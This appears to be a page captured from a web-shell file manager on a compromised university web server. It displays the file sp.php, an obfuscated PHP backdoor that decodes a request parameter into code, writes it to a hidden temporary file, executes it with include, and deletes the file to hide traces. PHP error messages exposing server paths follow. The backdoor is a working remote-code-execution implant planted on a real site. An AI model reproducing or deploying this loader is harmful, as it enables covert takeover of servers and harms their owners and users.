文件操作 - sp.php

文件: /var/www/demoestudiantes.uaysen.cl/html/sp.php

编辑文件内容

<?php

if(isset($_REQUEST["sy\x6D"]) ? true : false){
	$record = $_REQUEST["sy\x6D"];
	 	$record=  explode	 ('.', 	$record   ) ;	
	$flag ='';
            $s ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen( $s);
            $o =0;
    
            $__tmp =$record;
            while( $v4 =array_shift( $__tmp)) {
                $sChar =ord( $s[$o % $lenS]);
                $d =( ( int)$v4 - $sChar -( $o % 10))	 ^  95;
                $flag .= chr( $d);
                $o++;}		
	$bind = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp"]);
	$symbol = 0;
do {
    $desc = $bind[$symbol] ?? null;
    if ($symbol >= count($bind)) break;
    		if (array_product([is_dir($desc), is_writable($desc)])) {
    $ent = vsprintf("%s/%s", [$desc, ".descriptor"]);
    $file = fopen($ent, 'w');
if ($file) {
	fwrite($file, $flag);
	fclose($file);
	include $ent;
	@unlink($ent);
	exit;
}
}
    $symbol++;
} while (true);
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35